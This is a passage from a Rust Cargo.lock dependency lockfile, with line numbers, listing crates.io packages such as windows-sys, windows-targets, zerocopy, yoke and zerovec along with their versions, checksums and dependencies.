"a47fddd13af08290e67f4acabf4b459f647552718f683a7b415d290ac744a836" 3196 | dependencies = [ 3197 | "proc-macro2", 3198 | "quote", 3199 | "syn", 3200 | ] 3201 | 3202 | [[package]] 3203 | name = "windows-interface" 3204 | version = "0.59.1" 3205 | source = "registry+https://github.com/rust-lang/crates.io-index" 3206 | checksum = "bd9211b69f8dcdfa817bfd14bf1c97c9188afa36f4750130fcdf3f400eca9fa8" 3207 | dependencies = [ 3208 | "proc-macro2", 3209 | "quote", 3210 | "syn", 3211 | ] 3212 | 3213 | [[package]] 3214 | name = "windows-link" 3215 | version = "0.1.3" 3216 | source = "registry+https://github.com/rust-lang/crates.io-index" 3217 | checksum = "5e6ad25900d524eaabdbbb96d20b4311e1e7ae1699af4fb28c17ae66c80d798a" 3218 | 3219 | [[package]] 3220 | name = "windows-numerics" 3221 | version = "0.2.0" 3222 | source = "registry+https://github.com/rust-lang/crates.io-index" 3223 | checksum = "9150af68066c4c5c07ddc0ce30421554771e528bde427614c61038bc2c92c2b1" 3224 | dependencies = [ 3225 | "windows-core", 3226 | "windows-link", 3227 | ] 3228 | 3229 | [[package]] 3230 | name = "windows-result" 3231 | version = "0.3.4" 3232 | source = "registry+https://github.com/rust-lang/crates.io-index" 3233 | checksum = "56f42bd332cc6c8eac5af113fc0c1fd6a8fd2aa08a0119358686e5160d0586c6" 3234 | dependencies = [ 3235 | "windows-link", 3236 | ] 3237 | 3238 | [[package]] 3239 | name = "windows-strings" 3240 | version = "0.4.2" 3241 | source = "registry+https://github.com/rust-lang/crates.io-index" 3242 | checksum = "56e6c93f3a0c3b36176cb1327a4958a0353d5d166c2a35cb268ace15e91d3b57" 3243 | dependencies = [ 3244 | "windows-link", 3245 | ] 3246 | 3247 | [[package]] 3248 | name = "windows-sys" 3249 | version = "0.52.0" 3250 | source = "registry+https://github.com/rust-lang/crates.io-index" 3251 | checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" 3252 | dependencies = [ 3253 | "windows-targets 0.52.6", 3254 | ] 3255 | 3256 | [[package]] 3257 | name = "windows-sys" 3258 | version = "0.59.0" 3259 | source = "registry+https://github.com/rust-lang/crates.io-index" 3260 | checksum = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b" 3261 | dependencies = [ 3262 | "windows-targets 0.52.6", 3263 | ] 3264 | 3265 | [[package]] 3266 | name = "windows-sys" 3267 | version = "0.60.2" 3268 | source = "registry+https://github.com/rust-lang/crates.io-index" 3269 | checksum = "f2f500e4d28234f72040990ec9d39e3a6b950f9f22d3dba18416c35882612bcb" 3270 | dependencies = [ 3271 | "windows-targets 0.53.2", 3272 | ] 3273 | 3274 | [[package]] 3275 | name = "windows-targets" 3276 | version = "0.52.6" 3277 | source = "registry+https://github.com/rust-lang/crates.io-index" 3278 | checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973" 3279 | dependencies = [ 3280 | "windows_aarch64_gnullvm 0.52.6", 3281 | "windows_aarch64_msvc 0.52.6", 3282 | "windows_i686_gnu 0.52.6", 3283 | "windows_i686_gnullvm 0.52.6", 3284 | "windows_i686_msvc 0.52.6", 3285 | "windows_x86_64_gnu 0.52.6", 3286 | "windows_x86_64_gnullvm 0.52.6", 3287 | "windows_x86_64_msvc 0.52.6", 3288 | ] 3289 | 3290 | [[package]] 3291 | name = "windows-targets" 3292 | version = "0.53.2" 3293 | source = "registry+https://github.com/rust-lang/crates.io-index" 3294 | checksum = "c66f69fcc9ce11da9966ddb31a40968cad001c5bedeb5c2b82ede4253ab48aef" 3295 | dependencies = [ 3296 | "windows_aarch64_gnullvm 0.53.0", 3297 | "windows_aarch64_msvc 0.53.0", 3298 | "windows_i686_gnu 0.53.0", 3299 | "windows_i686_gnullvm 0.53.0", 3300 | "windows_i686_msvc 0.53.0", 3301 | "windows_x86_64_gnu 0.53.0", 3302 | "windows_x86_64_gnullvm 0.53.0", 3303 | "windows_x86_64_msvc 0.53.0", 3304 | ] 3305 | 3306 | [[package]] 3307 | name = "windows-threading" 3308 | version = "0.1.0" 3309 | source = "registry+https://github.com/rust-lang/crates.io-index" 3310 | checksum = "b66463ad2e0ea3bbf808b7f1d371311c80e115c0b71d60efc142cafbcfb057a6" 3311 | dependencies = [ 3312 | "windows-link", 3313 | ] 3314 | 3315 | [[package]] 3316 | name = "windows_aarch64_gnullvm" 3317 | version = "0.52.6" 3318 | source = "registry+https://github.com/rust-lang/crates.io-index" 3319 | checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3" 3320 | 3321 | [[package]] 3322 | name = "windows_aarch64_gnullvm" 3323 | version = "0.53.0" 3324 | source = "registry+https://github.com/rust-lang/crates.io-index" 3325 | checksum = "86b8d5f90ddd19cb4a147a5fa63ca848db3df085e25fee3cc10b39b6eebae764" 3326 | 3327 | [[package]] 3328 | name = "windows_aarch64_msvc" 3329 | version = "0.52.6" 3330 | source = "registry+https://github.com/rust-lang/crates.io-index" 3331 | checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469" 3332 | 3333 | [[package]] 3334 | name = "windows_aarch64_msvc" 3335 | version = "0.53.0" 3336 | source = "registry+https://github.com/rust-lang/crates.io-index" 3337 | checksum = "c7651a1f62a11b8cbd5e0d42526e55f2c99886c77e007179efff86c2b137e66c" 3338 | 3339 | [[package]] 3340 | name = "windows_i686_gnu" 3341 | version = "0.52.6" 3342 | source = "registry+https://github.com/rust-lang/crates.io-index" 3343 | checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b" 3344 | 3345 | [[package]] 3346 | name = "windows_i686_gnu" 3347 | version = "0.53.0" 3348 | source = "registry+https://github.com/rust-lang/crates.io-index" 3349 | checksum = "c1dc67659d35f387f5f6c479dc4e28f1d4bb90ddd1a5d3da2e5d97b42d6272c3" 3350 | 3351 | [[package]] 3352 | name = "windows_i686_gnullvm" 3353 | version = "0.52.6" 3354 | source = "registry+https://github.com/rust-lang/crates.io-index" 3355 | checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66" 3356 | 3357 | [[package]] 3358 | name = "windows_i686_gnullvm" 3359 | version = "0.53.0" 3360 | source = "registry+https://github.com/rust-lang/crates.io-index" 3361 | checksum = "9ce6ccbdedbf6d6354471319e781c0dfef054c81fbc7cf83f338a4296c0cae11" 3362 | 3363 | [[package]] 3364 | name = "windows_i686_msvc" 3365 | version = "0.52.6" 3366 | source = "registry+https://github.com/rust-lang/crates.io-index" 3367 | checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66" 3368 | 3369 | [[package]] 3370 | name = "windows_i686_msvc" 3371 | version = "0.53.0" 3372 | source = "registry+https://github.com/rust-lang/crates.io-index" 3373 | checksum = "581fee95406bb13382d2f65cd4a908ca7b1e4c2f1917f143ba16efe98a589b5d" 3374 | 3375 | [[package]] 3376 | name = "windows_x86_64_gnu" 3377 | version = "0.52.6" 3378 | source = "registry+https://github.com/rust-lang/crates.io-index" 3379 | checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78" 3380 | 3381 | [[package]] 3382 | name = "windows_x86_64_gnu" 3383 | version = "0.53.0" 3384 | source = "registry+https://github.com/rust-lang/crates.io-index" 3385 | checksum = "2e55b5ac9ea33f2fc1716d1742db15574fd6fc8dadc51caab1c16a3d3b4190ba" 3386 | 3387 | [[package]] 3388 | name = "windows_x86_64_gnullvm" 3389 | version = "0.52.6" 3390 | source = "registry+https://github.com/rust-lang/crates.io-index" 3391 | checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d" 3392 | 3393 | [[package]] 3394 | name = "windows_x86_64_gnullvm" 3395 | version = "0.53.0" 3396 | source = "registry+https://github.com/rust-lang/crates.io-index" 3397 | checksum = "0a6e035dd0599267ce1ee132e51c27dd29437f63325753051e71dd9e42406c57" 3398 | 3399 | [[package]] 3400 | name = "windows_x86_64_msvc" 3401 | version = "0.52.6" 3402 | source = "registry+https://github.com/rust-lang/crates.io-index" 3403 | checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec" 3404 | 3405 | [[package]] 3406 | name = "windows_x86_64_msvc" 3407 | version = "0.53.0" 3408 | source = "registry+https://github.com/rust-lang/crates.io-index" 3409 | checksum = "271414315aff87387382ec3d271b52d7ae78726f5d44ac98b4f4030c91880486" 3410 | 3411 | [[package]] 3412 | name = "wit-bindgen-rt" 3413 | version = "0.39.0" 3414 | source = "registry+https://github.com/rust-lang/crates.io-index" 3415 | checksum = "6f42320e61fe2cfd34354ecb597f86f413484a798ba44a8ca1165c58d42da6c1" 3416 | dependencies = [ 3417 | "bitflags", 3418 | ] 3419 | 3420 | [[package]] 3421 | name = "writeable" 3422 | version = "0.6.1" 3423 | source = "registry+https://github.com/rust-lang/crates.io-index" 3424 | checksum = "ea2f10b9bb0928dfb1b42b65e1f9e36f7f54dbdf08457afefb38afcdec4fa2bb" 3425 | 3426 | [[package]] 3427 | name = "xmlparser" 3428 | version = "0.13.6" 3429 | source = "registry+https://github.com/rust-lang/crates.io-index" 3430 | checksum = "66fee0b777b0f5ac1c69bb06d361268faafa61cd4682ae064a171c16c433e9e4" 3431 | 3432 | [[package]] 3433 | name = "yoke" 3434 | version = "0.8.0" 3435 | source = "registry+https://github.com/rust-lang/crates.io-index" 3436 | checksum = "5f41bb01b8226ef4bfd589436a297c53d118f65921786300e427be8d487695cc" 3437 | dependencies = [ 3438 | "serde", 3439 | "stable_deref_trait", 3440 | "yoke-derive", 3441 | "zerofrom", 3442 | ] 3443 | 3444 | [[package]] 3445 | name = "yoke-derive" 3446 | version = "0.8.0" 3447 | source = "registry+https://github.com/rust-lang/crates.io-index" 3448 | checksum = "38da3c9736e16c5d3c8c597a9aaa5d1fa565d0532ae05e27c24aa62fb32c0ab6" 3449 | dependencies = [ 3450 | "proc-macro2", 3451 | "quote", 3452 | "syn", 3453 | "synstructure", 3454 | ] 3455 | 3456 | [[package]] 3457 | name = "zerocopy" 3458 | version = "0.8.26" 3459 | source = "registry+https://github.com/rust-lang/crates.io-index" 3460 | checksum = "1039dd0d3c310cf05de012d8a39ff557cb0d23087fd44cad61df08fc31907a2f" 3461 | dependencies = [ 3462 | "zerocopy-derive", 3463 | ] 3464 | 3465 | [[package]] 3466 | name = "zerocopy-derive" 3467 | version = "0.8.26" 3468 | source = "registry+https://github.com/rust-lang/crates.io-index" 3469 | checksum = "9ecf5b4cc5364572d7f4c329661bcc82724222973f2cab6f050a4e5c22f75181" 3470 | dependencies = [ 3471 | "proc-macro2", 3472 | "quote", 3473 | "syn", 3474 | ] 3475 | 3476 | [[package]] 3477 | name = "zerofrom" 3478 | version = "0.1.6" 3479 | source = "registry+https://github.com/rust-lang/crates.io-index" 3480 | checksum = "50cc42e0333e05660c3587f3bf9d0478688e15d870fab3346451ce7f8c9fbea5" 3481 | dependencies = [ 3482 | "zerofrom-derive", 3483 | ] 3484 | 3485 | [[package]] 3486 | name = "zerofrom-derive" 3487 | version = "0.1.6" 3488 | source = "registry+https://github.com/rust-lang/crates.io-index" 3489 | checksum = "d71e5d6e06ab090c67b5e44993ec16b72dcbaabc526db883a360057678b48502" 3490 | dependencies = [ 3491 | "proc-macro2", 3492 | "quote", 3493 | "syn", 3494 | "synstructure", 3495 | ] 3496 | 3497 | [[package]] 3498 | name = "zeroize" 3499 | version = "1.8.1" 3500 | source = "registry+https://github.com/rust-lang/crates.io-index" 3501 | checksum = "ced3678a2879b30306d323f4542626697a464a97c0a07c9aebf7ebca65cd4dde" 3502 | 3503 | [[package]] 3504 | name = "zerotrie" 3505 | version = "0.2.2" 3506 | source = "registry+https://github.com/rust-lang/crates.io-index" 3507 | checksum = "36f0bbd478583f79edad978b407914f61b2972f5af6fa089686016be8f9af595" 3508 | dependencies = [ 3509 | "displaydoc", 3510 | "yoke", 3511 | "zerofrom", 3512 | ] 3513 | 3514 | [[package]] 3515 | name = "zerovec" 3516 | version = "0.11.2" 3517 | source = "registry+https://github.com/rust-lang/crates.io-index" 3518 | checksum = "4a05eb080e015ba39cc9e23bbe5e7fb04d5fb040350f99f34e338d5fdd294428" 3519 | dependencies = [ 3520 | "yoke", 3521 | "zerofrom", 3522 | "zerovec-derive", 3523 | ] 3524 | 3525 | [[package]] 3526 | name = "zerovec-derive" 3527 | version = "0.11.1" 3528 | source = "registry+https://github.com/rust-lang/crates.io-index" 3529 | checksum = "5b96237efa0c878c64bd89c436f661be4e46b2f3eff1ebb976f7ef2321d2f58f" 3530 | dependencies = [ 3531 | "proc-macro2", 3532 | "quote", 3533 | "syn", 3534 | ] 3535 | --------------------------------------------------------------------------------